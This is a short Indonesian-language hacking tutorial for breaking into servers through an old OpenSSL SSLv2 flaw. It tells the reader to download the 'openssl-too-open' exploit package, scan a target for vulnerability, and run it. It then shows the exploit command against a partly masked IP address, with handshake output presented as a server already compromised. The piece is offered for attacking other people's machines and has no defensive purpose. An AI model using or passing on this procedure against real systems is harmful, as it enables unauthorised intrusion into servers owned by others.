Hacking Open SSL

Langkah yang harus dilakukan:
1. Download openssl-too-open.tar.gz bisa download dimana aja terserah...
2. Extract File tersebut.

Terlebih dahulu yg harus ente lakukan adalah scanning server target apakah vulnerable? Kalau vulnerable kemungkinan bisa di bobol ok.
Di bawah ini hasil server yg telah di bobol

$ ./ssl -a 0x08 -v 2xx.xx.xx.xx

-> send_client_hello
-> get_server_hello
-> send_client_master_key
-> generate_session_keys
-> get_server_verify
-> send_client_finished
-> get_server_finished

-> get_server_finished
ssl2 : 0x8324180
